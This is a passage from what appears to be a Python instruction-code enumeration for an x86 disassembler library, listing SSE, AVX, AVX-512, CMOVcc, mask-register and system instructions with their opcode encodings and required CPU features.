VEX_VMOVNTPS_M128_XMM: int = 1108
"""
``VMOVNTPS m128, xmm1``
``VEX.128.0F.WIG 2B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVNTPS_M256_YMM: int = 1109
"""
``VMOVNTPS m256, ymm1``
``VEX.256.0F.WIG 2B /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVNTPS_M128_XMM: int = 1110
"""
``VMOVNTPS m128, xmm1``
``EVEX.128.0F.W0 2B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTPS_M256_YMM: int = 1111
"""
``VMOVNTPS m256, ymm1``
``EVEX.256.0F.W0 2B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTPS_M512_ZMM: int = 1112
"""
``VMOVNTPS m512, zmm1``
``EVEX.512.0F.W0 2B /r``
``AVX512F``
``16/32/64-bit``
"""
MOVNTPD_M128_XMM: int = 1113
"""
``MOVNTPD m128, xmm1``
``66 0F 2B /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVNTPD_M128_XMM: int = 1114
"""
``VMOVNTPD m128, xmm1``
``VEX.128.66.0F.WIG 2B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVNTPD_M256_YMM: int = 1115
"""
``VMOVNTPD m256, ymm1``
``VEX.256.66.0F.WIG 2B /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVNTPD_M128_XMM: int = 1116
"""
``VMOVNTPD m128, xmm1``
``EVEX.128.66.0F.W1 2B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTPD_M256_YMM: int = 1117
"""
``VMOVNTPD m256, ymm1``
``EVEX.256.66.0F.W1 2B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTPD_M512_ZMM: int = 1118
"""
``VMOVNTPD m512, zmm1``
``EVEX.512.66.0F.W1 2B /r``
``AVX512F``
``16/32/64-bit``
"""
MOVNTSS_M32_XMM: int = 1119
"""
``MOVNTSS m32, xmm1``
``F3 0F 2B /r``
``SSE4A``
``16/32/64-bit``
"""
MOVNTSD_M64_XMM: int = 1120
"""
``MOVNTSD m64, xmm1``
``F2 0F 2B /r``
``SSE4A``
``16/32/64-bit``
"""
CVTTPS2PI_MM_XMMM64: int = 1121
"""
``CVTTPS2PI mm, xmm/m64``
``NP 0F 2C /r``
``SSE``
``16/32/64-bit``
"""
CVTTPD2PI_MM_XMMM128: int = 1122
"""
``CVTTPD2PI mm, xmm/m128``
``66 0F 2C /r``
``SSE2``
``16/32/64-bit``
"""
CVTTSS2SI_R32_XMMM32: int = 1123
"""
``CVTTSS2SI r32, xmm1/m32``
``F3 0F 2C /r``
``SSE``
``16/32/64-bit``
"""
CVTTSS2SI_R64_XMMM32: int = 1124
"""
``CVTTSS2SI r64, xmm1/m32``
``F3 o64 0F 2C /r``
``SSE``
``64-bit``
"""
VEX_VCVTTSS2SI_R32_XMMM32: int = 1125
"""
``VCVTTSS2SI r32, xmm1/m32``
``VEX.LIG.F3.0F.W0 2C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTTSS2SI_R64_XMMM32: int = 1126
"""
``VCVTTSS2SI r64, xmm1/m32``
``VEX.LIG.F3.0F.W1 2C /r``
``AVX``
``64-bit``
"""
EVEX_VCVTTSS2SI_R32_XMMM32_SAE: int = 1127
"""
``VCVTTSS2SI r32, xmm1/m32{sae}``
``EVEX.LIG.F3.0F.W0 2C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTSS2SI_R64_XMMM32_SAE: int = 1128
"""
``VCVTTSS2SI r64, xmm1/m32{sae}``
``EVEX.LIG.F3.0F.W1 2C /r``
``AVX512F``
``64-bit``
"""
CVTTSD2SI_R32_XMMM64: int = 1129
"""
``CVTTSD2SI r32, xmm1/m64``
``F2 0F 2C /r``
``SSE2``
``16/32/64-bit``
"""
CVTTSD2SI_R64_XMMM64: int = 1130
"""
``CVTTSD2SI r64, xmm1/m64``
``F2 o64 0F 2C /r``
``SSE2``
``64-bit``
"""
VEX_VCVTTSD2SI_R32_XMMM64: int = 1131
"""
``VCVTTSD2SI r32, xmm1/m64``
``VEX.LIG.F2.0F.W0 2C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTTSD2SI_R64_XMMM64: int = 1132
"""
``VCVTTSD2SI r64, xmm1/m64``
``VEX.LIG.F2.0F.W1 2C /r``
``AVX``
``64-bit``
"""
EVEX_VCVTTSD2SI_R32_XMMM64_SAE: int = 1133
"""
``VCVTTSD2SI r32, xmm1/m64{sae}``
``EVEX.LIG.F2.0F.W0 2C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTSD2SI_R64_XMMM64_SAE: int = 1134
"""
``VCVTTSD2SI r64, xmm1/m64{sae}``
``EVEX.LIG.F2.0F.W1 2C /r``
``AVX512F``
``64-bit``
"""
CVTPS2PI_MM_XMMM64: int = 1135
"""
``CVTPS2PI mm, xmm/m64``
``NP 0F 2D /r``
``SSE``
``16/32/64-bit``
"""
CVTPD2PI_MM_XMMM128: int = 1136
"""
``CVTPD2PI mm, xmm/m128``
``66 0F 2D /r``
``SSE2``
``16/32/64-bit``
"""
CVTSS2SI_R32_XMMM32: int = 1137
"""
``CVTSS2SI r32, xmm1/m32``
``F3 0F 2D /r``
``SSE``
``16/32/64-bit``
"""
CVTSS2SI_R64_XMMM32: int = 1138
"""
``CVTSS2SI r64, xmm1/m32``
``F3 o64 0F 2D /r``
``SSE``
``64-bit``
"""
VEX_VCVTSS2SI_R32_XMMM32: int = 1139
"""
``VCVTSS2SI r32, xmm1/m32``
``VEX.LIG.F3.0F.W0 2D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTSS2SI_R64_XMMM32: int = 1140
"""
``VCVTSS2SI r64, xmm1/m32``
``VEX.LIG.F3.0F.W1 2D /r``
``AVX``
``64-bit``
"""
EVEX_VCVTSS2SI_R32_XMMM32_ER: int = 1141
"""
``VCVTSS2SI r32, xmm1/m32{er}``
``EVEX.LIG.F3.0F.W0 2D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTSS2SI_R64_XMMM32_ER: int = 1142
"""
``VCVTSS2SI r64, xmm1/m32{er}``
``EVEX.LIG.F3.0F.W1 2D /r``
``AVX512F``
``64-bit``
"""
CVTSD2SI_R32_XMMM64: int = 1143
"""
``CVTSD2SI r32, xmm1/m64``
``F2 0F 2D /r``
``SSE2``
``16/32/64-bit``
"""
CVTSD2SI_R64_XMMM64: int = 1144
"""
``CVTSD2SI r64, xmm1/m64``
``F2 o64 0F 2D /r``
``SSE2``
``64-bit``
"""
VEX_VCVTSD2SI_R32_XMMM64: int = 1145
"""
``VCVTSD2SI r32, xmm1/m64``
``VEX.LIG.F2.0F.W0 2D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTSD2SI_R64_XMMM64: int = 1146
"""
``VCVTSD2SI r64, xmm1/m64``
``VEX.LIG.F2.0F.W1 2D /r``
``AVX``
``64-bit``
"""
EVEX_VCVTSD2SI_R32_XMMM64_ER: int = 1147
"""
``VCVTSD2SI r32, xmm1/m64{er}``
``EVEX.LIG.F2.0F.W0 2D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTSD2SI_R64_XMMM64_ER: int = 1148
"""
``VCVTSD2SI r64, xmm1/m64{er}``
``EVEX.LIG.F2.0F.W1 2D /r``
``AVX512F``
``64-bit``
"""
UCOMISS_XMM_XMMM32: int = 1149
"""
``UCOMISS xmm1, xmm2/m32``
``NP 0F 2E /r``
``SSE``
``16/32/64-bit``
"""
VEX_VUCOMISS_XMM_XMMM32: int = 1150
"""
``VUCOMISS xmm1, xmm2/m32``
``VEX.LIG.0F.WIG 2E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VUCOMISS_XMM_XMMM32_SAE: int = 1151
"""
``VUCOMISS xmm1, xmm2/m32{sae}``
``EVEX.LIG.0F.W0 2E /r``
``AVX512F``
``16/32/64-bit``
"""
UCOMISD_XMM_XMMM64: int = 1152
"""
``UCOMISD xmm1, xmm2/m64``
``66 0F 2E /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VUCOMISD_XMM_XMMM64: int = 1153
"""
``VUCOMISD xmm1, xmm2/m64``
``VEX.LIG.66.0F.WIG 2E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VUCOMISD_XMM_XMMM64_SAE: int = 1154
"""
``VUCOMISD xmm1, xmm2/m64{sae}``
``EVEX.LIG.66.0F.W1 2E /r``
``AVX512F``
``16/32/64-bit``
"""
COMISS_XMM_XMMM32: int = 1155
"""
``COMISS xmm1, xmm2/m32``
``NP 0F 2F /r``
``SSE``
``16/32/64-bit``
"""
COMISD_XMM_XMMM64: int = 1156
"""
``COMISD xmm1, xmm2/m64``
``66 0F 2F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCOMISS_XMM_XMMM32: int = 1157
"""
``VCOMISS xmm1, xmm2/m32``
``VEX.LIG.0F.WIG 2F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCOMISD_XMM_XMMM64: int = 1158
"""
``VCOMISD xmm1, xmm2/m64``
``VEX.LIG.66.0F.WIG 2F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCOMISS_XMM_XMMM32_SAE: int = 1159
"""
``VCOMISS xmm1, xmm2/m32{sae}``
``EVEX.LIG.0F.W0 2F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMISD_XMM_XMMM64_SAE: int = 1160
"""
``VCOMISD xmm1, xmm2/m64{sae}``
``EVEX.LIG.66.0F.W1 2F /r``
``AVX512F``
``16/32/64-bit``
"""
WRMSR: int = 1161
"""
``WRMSR``
``0F 30``
``MSR``
``16/32/64-bit``
"""
RDTSC: int = 1162
"""
``RDTSC``
``0F 31``
``TSC``
``16/32/64-bit``
"""
RDMSR: int = 1163
"""
``RDMSR``
``0F 32``
``MSR``
``16/32/64-bit``
"""
RDPMC: int = 1164
"""
``RDPMC``
``0F 33``
``Pentium MMX or later, or Pentium Pro or later``
``16/32/64-bit``
"""
SYSENTER: int = 1165
"""
``SYSENTER``
``0F 34``
``SEP``
``16/32/64-bit``
"""
SYSEXITD: int = 1166
"""
``SYSEXIT``
``0F 35``
``SEP``
``16/32/64-bit``
"""
SYSEXITQ: int = 1167
"""
``SYSEXITQ``
``o64 0F 35``
``SEP``
``64-bit``
"""
GETSECD: int = 1168
"""
``GETSEC``
``NP 0F 37``
``SMX``
``16/32/64-bit``
"""
CMOVO_R16_RM16: int = 1169
"""
``CMOVO r16, r/m16``
``o16 0F 40 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVO_R32_RM32: int = 1170
"""
``CMOVO r32, r/m32``
``o32 0F 40 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVO_R64_RM64: int = 1171
"""
``CMOVO r64, r/m64``
``o64 0F 40 /r``
``CMOV``
``64-bit``
"""
CMOVNO_R16_RM16: int = 1172
"""
``CMOVNO r16, r/m16``
``o16 0F 41 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNO_R32_RM32: int = 1173
"""
``CMOVNO r32, r/m32``
``o32 0F 41 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNO_R64_RM64: int = 1174
"""
``CMOVNO r64, r/m64``
``o64 0F 41 /r``
``CMOV``
``64-bit``
"""
CMOVB_R16_RM16: int = 1175
"""
``CMOVB r16, r/m16``
``o16 0F 42 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVB_R32_RM32: int = 1176
"""
``CMOVB r32, r/m32``
``o32 0F 42 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVB_R64_RM64: int = 1177
"""
``CMOVB r64, r/m64``
``o64 0F 42 /r``
``CMOV``
``64-bit``
"""
CMOVAE_R16_RM16: int = 1178
"""
``CMOVAE r16, r/m16``
``o16 0F 43 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVAE_R32_RM32: int = 1179
"""
``CMOVAE r32, r/m32``
``o32 0F 43 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVAE_R64_RM64: int = 1180
"""
``CMOVAE r64, r/m64``
``o64 0F 43 /r``
``CMOV``
``64-bit``
"""
CMOVE_R16_RM16: int = 1181
"""
``CMOVE r16, r/m16``
``o16 0F 44 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVE_R32_RM32: int = 1182
"""
``CMOVE r32, r/m32``
``o32 0F 44 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVE_R64_RM64: int = 1183
"""
``CMOVE r64, r/m64``
``o64 0F 44 /r``
``CMOV``
``64-bit``
"""
CMOVNE_R16_RM16: int = 1184
"""
``CMOVNE r16, r/m16``
``o16 0F 45 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNE_R32_RM32: int = 1185
"""
``CMOVNE r32, r/m32``
``o32 0F 45 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNE_R64_RM64: int = 1186
"""
``CMOVNE r64, r/m64``
``o64 0F 45 /r``
``CMOV``
``64-bit``
"""
CMOVBE_R16_RM16: int = 1187
"""
``CMOVBE r16, r/m16``
``o16 0F 46 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVBE_R32_RM32: int = 1188
"""
``CMOVBE r32, r/m32``
``o32 0F 46 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVBE_R64_RM64: int = 1189
"""
``CMOVBE r64, r/m64``
``o64 0F 46 /r``
``CMOV``
``64-bit``
"""
CMOVA_R16_RM16: int = 1190
"""
``CMOVA r16, r/m16``
``o16 0F 47 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVA_R32_RM32: int = 1191
"""
``CMOVA r32, r/m32``
``o32 0F 47 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVA_R64_RM64: int = 1192
"""
``CMOVA r64, r/m64``
``o64 0F 47 /r``
``CMOV``
``64-bit``
"""
CMOVS_R16_RM16: int = 1193
"""
``CMOVS r16, r/m16``
``o16 0F 48 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVS_R32_RM32: int = 1194
"""
``CMOVS r32, r/m32``
``o32 0F 48 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVS_R64_RM64: int = 1195
"""
``CMOVS r64, r/m64``
``o64 0F 48 /r``
``CMOV``
``64-bit``
"""
CMOVNS_R16_RM16: int = 1196
"""
``CMOVNS r16, r/m16``
``o16 0F 49 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNS_R32_RM32: int = 1197
"""
``CMOVNS r32, r/m32``
``o32 0F 49 /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNS_R64_RM64: int = 1198
"""
``CMOVNS r64, r/m64``
``o64 0F 49 /r``
``CMOV``
``64-bit``
"""
CMOVP_R16_RM16: int = 1199
"""
``CMOVP r16, r/m16``
``o16 0F 4A /r``
``CMOV``
``16/32/64-bit``
"""
CMOVP_R32_RM32: int = 1200
"""
``CMOVP r32, r/m32``
``o32 0F 4A /r``
``CMOV``
``16/32/64-bit``
"""
CMOVP_R64_RM64: int = 1201
"""
``CMOVP r64, r/m64``
``o64 0F 4A /r``
``CMOV``
``64-bit``
"""
CMOVNP_R16_RM16: int = 1202
"""
``CMOVNP r16, r/m16``
``o16 0F 4B /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNP_R32_RM32: int = 1203
"""
``CMOVNP r32, r/m32``
``o32 0F 4B /r``
``CMOV``
``16/32/64-bit``
"""
CMOVNP_R64_RM64: int = 1204
"""
``CMOVNP r64, r/m64``
``o64 0F 4B /r``
``CMOV``
``64-bit``
"""
CMOVL_R16_RM16: int = 1205
"""
``CMOVL r16, r/m16``
``o16 0F 4C /r``
``CMOV``
``16/32/64-bit``
"""
CMOVL_R32_RM32: int = 1206
"""
``CMOVL r32, r/m32``
``o32 0F 4C /r``
``CMOV``
``16/32/64-bit``
"""
CMOVL_R64_RM64: int = 1207
"""
``CMOVL r64, r/m64``
``o64 0F 4C /r``
``CMOV``
``64-bit``
"""
CMOVGE_R16_RM16: int = 1208
"""
``CMOVGE r16, r/m16``
``o16 0F 4D /r``
``CMOV``
``16/32/64-bit``
"""
CMOVGE_R32_RM32: int = 1209
"""
``CMOVGE r32, r/m32``
``o32 0F 4D /r``
``CMOV``
``16/32/64-bit``
"""
CMOVGE_R64_RM64: int = 1210
"""
``CMOVGE r64, r/m64``
``o64 0F 4D /r``
``CMOV``
``64-bit``
"""
CMOVLE_R16_RM16: int = 1211
"""
``CMOVLE r16, r/m16``
``o16 0F 4E /r``
``CMOV``
``16/32/64-bit``
"""
CMOVLE_R32_RM32: int = 1212
"""
``CMOVLE r32, r/m32``
``o32 0F 4E /r``
``CMOV``
``16/32/64-bit``
"""
CMOVLE_R64_RM64: int = 1213
"""
``CMOVLE r64, r/m64``
``o64 0F 4E /r``
``CMOV``
``64-bit``
"""
CMOVG_R16_RM16: int = 1214
"""
``CMOVG r16, r/m16``
``o16 0F 4F /r``
``CMOV``
``16/32/64-bit``
"""
CMOVG_R32_RM32: int = 1215
"""
``CMOVG r32, r/m32``
``o32 0F 4F /r``
``CMOV``
``16/32/64-bit``
"""
CMOVG_R64_RM64: int = 1216
"""
``CMOVG r64, r/m64``
``o64 0F 4F /r``
``CMOV``
``64-bit``
"""
VEX_KANDW_KR_KR_KR: int = 1217
"""
``KANDW k1, k2, k3``
``VEX.L1.0F.W0 41 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KANDQ_KR_KR_KR: int = 1218
"""
``KANDQ k1, k2, k3``
``VEX.L1.0F.W1 41 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KANDB_KR_KR_KR: int = 1219
"""
``KANDB k1, k2, k3``
``VEX.L1.66.0F.W0 41 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KANDD_KR_KR_KR: int = 1220
"""
``KANDD k1, k2, k3``
``VEX.L1.66.0F.W1 41 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KANDNW_KR_KR_KR: int = 1221
"""
``KANDNW k1, k2, k3``
``VEX.L1.0F.W0 42 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KANDNQ_KR_KR_KR: int = 1222
"""
``KANDNQ k1, k2, k3``
``VEX.L1.0F.W1 42 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KANDNB_KR_KR_KR: int = 1223
"""
``KANDNB k1, k2, k3``
``VEX.L1.66.0F.W0 42 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KANDND_KR_KR_KR: int = 1224
"""
``KANDND k1, k2, k3``
``VEX.L1.66.0F.W1 42 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KNOTW_KR_KR: int = 1225
"""
``KNOTW k1, k2``
``VEX.L0.0F.W0 44 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KNOTQ_KR_KR: int = 1226
"""
``KNOTQ k1, k2``
``VEX.L0.0F.W1 44 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KNOTB_KR_KR: int = 1227
"""
``KNOTB k1, k2``
``VEX.L0.66.0F.W0 44 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KNOTD_KR_KR: int = 1228
"""
``KNOTD k1, k2``
``VEX.L0.66.0F.W1 44 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KORW_KR_KR_KR: int = 1229
"""
``KORW k1, k2, k3``
``VEX.L1.0F.W0 45 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KORQ_KR_KR_KR: int = 1230
"""
``KORQ k1, k2, k3``
``VEX.L1.0F.W1 45 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KORB_KR_KR_KR: int = 1231
"""
``KORB k1, k2, k3``
``VEX.L1.66.0F.W0 45 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KORD_KR_KR_KR: int = 1232
"""
``KORD k1, k2, k3``
``VEX.L1.66.0F.W1 45 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KXNORW_KR_KR_KR: int = 1233
"""
``KXNORW k1, k2, k3``
``VEX.L1.0F.W0 46 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KXNORQ_KR_KR_KR: int = 1234
"""
``KXNORQ k1, k2, k3``
``VEX.L1.0F.W1 46 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KXNORB_KR_KR_KR: int = 1235
"""
``KXNORB k1, k2, k3``
``VEX.L1.66.0F.W0 46 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KXNORD_KR_KR_KR: int = 1236
"""
``KXNORD k1, k2, k3``
``VEX.L1.66.0F.W1 46 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KXORW_KR_KR_KR: int = 1237
"""
``KXORW k1, k2, k3``
``VEX.L1.0F.W0 47 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KXORQ_KR_KR_KR: int = 1238
"""
``KXORQ k1, k2, k3``
``VEX.L1.0F.W1 47 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KXORB_KR_KR_KR: int = 1239
"""
``KXORB k1, k2, k3``
``VEX.L1.66.0F.W0 47 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KXORD_KR_KR_KR: int = 1240
"""
``KXORD k1, k2, k3``
``VEX.L1.66.0F.W1 47 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KADDW_KR_KR_KR: int = 1241
"""
``KADDW k1, k2, k3``
``VEX.L1.0F.W0 4A /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KADDQ_KR_KR_KR: int = 1242
"""
``KADDQ k1, k2, k3``
``VEX.L1.0F.W1 4A /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KADDB_KR_KR_KR: int = 1243
"""
``KADDB k1, k2, k3``
``VEX.L1.66.0F.W0 4A /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KADDD_KR_KR_KR: int = 1244
"""
``KADDD k1, k2, k3``
``VEX.L1.66.0F.W1 4A /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KUNPCKWD_KR_KR_KR: int = 1245
"""
``KUNPCKWD k1, k2, k3``
``VEX.L1.0F.W0 4B /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KUNPCKDQ_KR_KR_KR: int = 1246
"""
``KUNPCKDQ k1, k2, k3``
``VEX.L1.0F.W1 4B /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KUNPCKBW_KR_KR_KR: int = 1247
"""
``KUNPCKBW k1, k2, k3``
``VEX.L1.66.0F.W0 4B /r``
``AVX512F``
``16/32/64-bit``
"""
MOVMSKPS_R32_XMM: int = 1248
"""
``MOVMSKPS r32, xmm``
``NP 0F 50 /r``
``SSE``
``16/32/64-bit``
"""
MOVMSKPS_R64_XMM: int = 1249
"""
``MOVMSKPS r64, xmm``
``NP o64 0F 50 /r``
``SSE``
``64-bit``
"""
VEX_VMOVMSKPS_R32_XMM: int = 1250
"""
``VMOVMSKPS r32, xmm2``
``VEX.128.0F.W0 50 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVMSKPS_R64_XMM: int = 1251
"""
``VMOVMSKPS r64, xmm2``
``VEX.128.0F.W1 50 /r``
``AVX``
``64-bit``
"""
VEX_VMOVMSKPS_R32_YMM: int = 1252
"""
``VMOVMSKPS r32, ymm2``
``VEX.256.0F.W0 50 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVMSKPS_R64_YMM: int = 1253
"""
``VMOVMSKPS r64, ymm2``
``VEX.256.0F.W1 50 /r``
``AVX``
``64-bit``
"""
MOVMSKPD_R32_XMM: int = 1254
"""
``MOVMSKPD r32, xmm``
``66 0F 50 /r``
``SSE2``
``16/32/64-bit``
"""
MOVMSKPD_R64_XMM: int = 1255
"""
``MOVMSKPD r64, xmm``
``66 o64 0F 50 /r``
``SSE2``
``64-bit``
"""
VEX_VMOVMSKPD_R32_XMM: int = 1256
"""
``VMOVMSKPD r32, xmm2``
``VEX.128.66.0F.W0 50 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVMSKPD_R64_XMM: int = 1257
"""
``VMOVMSKPD r64, xmm2``
``VEX.128.66.0F.W1 50 /r``
``AVX``
``64-bit``
"""
VEX_VMOVMSKPD_R32_YMM: int = 1258
"""
``VMOVMSKPD r32, ymm2``
``VEX.256.66.0F.W0 50 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVMSKPD_R64_YMM: int = 1259
"""
``VMOVMSKPD r64, ymm2``
``VEX.256.66.0F.W1 50 /r``
``AVX``
``64-bit``
"""
SQRTPS_XMM_XMMM128: int = 1260
"""
``SQRTPS xmm1, xmm2/m128``
``NP 0F 51 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VSQRTPS_XMM_XMMM128: int = 1261
"""
``VSQRTPS xmm1, xmm2/m128``
``VEX.128.0F.WIG 51 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VSQRTPS_YMM_YMMM256: int = 1262
"""
``VSQRTPS ymm1, ymm2/m256``
``VEX.256.0F.WIG 51 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSQRTPS_XMM_K1Z_XMMM128B32: int = 1263
"""
``VSQRTPS xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.0F.W0 51 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSQRTPS_YMM_K1Z_YMMM256B32: int = 1264
"""
``VSQRTPS ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.0F.W0 51 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSQRTPS_ZMM_K1Z_ZMMM512B32_ER: int = 1265
"""
``VSQRTPS zmm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.0F.W0 51 /r``
``AVX512F``
``16/32/64-bit``
"""
SQRTPD_XMM_XMMM128: int = 1266
"""
``SQRTPD xmm1, xmm2/m128``
``66 0F 51 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VSQRTPD_XMM_XMMM128: int = 1267
"""
``VSQRTPD xmm1, xmm2/m128``
``VEX.128.66.0F.WIG 51 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VSQRTPD_YMM_YMMM256: int = 1268
"""
``VSQRTPD ymm1, ymm2/m256``
``VEX.256.66.0F.WIG 51 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSQRTPD_XMM_K1Z_XMMM128B64: int = 1269
"""
``VSQRTPD xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 51 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSQRTPD_YMM_K1Z_YMMM256B64: int = 1270
"""
``VSQRTPD ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 51 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSQRTPD_ZMM_K1Z_ZMMM512B64_ER: int = 1271
"""
``VSQRTPD zmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 51 /r``
``AVX512F``
``16/32/64-bit``
"""
SQRTSS_XMM_XMMM32: int = 1272
"""
``SQRTSS xmm1, xmm2/m32``
``F3 0F 51 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VSQRTSS_XMM_XMM_XMMM32: int = 1273
"""
``VSQRTSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 51 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSQRTSS_XMM_K1Z_XMM_XMMM32_ER: int = 1274
"""
``VSQRTSS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.0F.W0 51 /r``
``AVX512F``
``16/32/64-bit``
"""
SQRTSD_XMM_XMMM64: int = 1275
"""
``SQRTSD xmm1, xmm2/m64``
``F2 0F 51 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VSQRTSD_XMM_XMM_XMMM64: int = 1276
"""
``VSQRTSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 51 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSQRTSD_XMM_K1Z_XMM_XMMM64_ER: int = 1277
"""
``VSQRTSD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.0F.W1 51 /r``
``AVX512F``
``16/32/64-bit``
"""
RSQRTPS_XMM_XMMM128: int = 1278
"""
``RSQRTPS xmm1, xmm2/m128``
``NP 0F 52 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VRSQRTPS_XMM_XMMM128: int = 1279
"""
``VRSQRTPS xmm1, xmm2/m128``
``VEX.128.0F.WIG 52 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VRSQRTPS_YMM_YMMM256: int = 1280
"""
``VRSQRTPS ymm1, ymm2/m256``
``VEX.256.0F.WIG 52 /r``
``AVX``
``16/32/64-bit``
"""
RSQRTSS_XMM_XMMM32: int = 1281
"""
``RSQRTSS xmm1, xmm2/m32``
``F3 0F 52 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VRSQRTSS_XMM_XMM_XMMM32: int = 1282
"""
``VRSQRTSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 52 /r``
``AVX``
``16/32/64-bit``
"""
RCPPS_XMM_XMMM128: int = 1283
"""
``RCPPS xmm1, xmm2/m128``
``NP 0F 53 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VRCPPS_XMM_XMMM128: int = 1284
"""
``VRCPPS xmm1, xmm2/m128``
``VEX.128.0F.WIG 53 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VRCPPS_YMM_YMMM256: int = 1285
"""
